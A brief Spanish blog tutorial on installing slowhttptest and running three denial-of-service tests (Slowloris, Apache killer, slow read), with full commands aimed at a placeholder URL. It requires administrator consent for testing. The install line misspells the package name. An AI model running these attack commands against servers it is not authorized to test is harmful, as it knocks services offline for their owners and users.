slowhttptest en GNU/Linux

por | Junio 30, 2016

Hola comunidad, les dejo este breve manual para instalar la herramienta para pruebas de Denegación de Servicio (DOS), de nombre slowhttptest.

Para iniciar se instala la herramienta, en este caso utilice la distribución Linux Mint 17.2 de 64 bits.

sudo apt-get install slowhttpdtest

Una vez instalada se procede a realizar las pruebas necesarias, dichas pruebas deben ser bajo el consentimiento del o los administradores o bien a un servidor bajo nuestra responsabilidad.

Para este ejemplo tenemos tres tipos de pruebas (denegaciones);

  • Tipo  Slowloris (envío de cabeceras HTTP incompletas)

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://sitioweb.com

  • Tipo Apache killer (numerosas peticiones hasta agotar la CPU y la memoria del sistema).

slowhttptest -R -u http://sitioweb.com -t HEAD -c 1000 -a 10 -b 3000 -r 500

  • Tipo Slow read (envío peticiones HTTP legítimas pero retrasando el ACK)

slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://sitioweb.com -p 3

Si desean conocer mas parámetros hacer uso de la ayuda de la herramienta;

man slowhttptest

Nota: Este articulo se creo con fines de aprendizaje.

Saludos.

Print Friendly

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *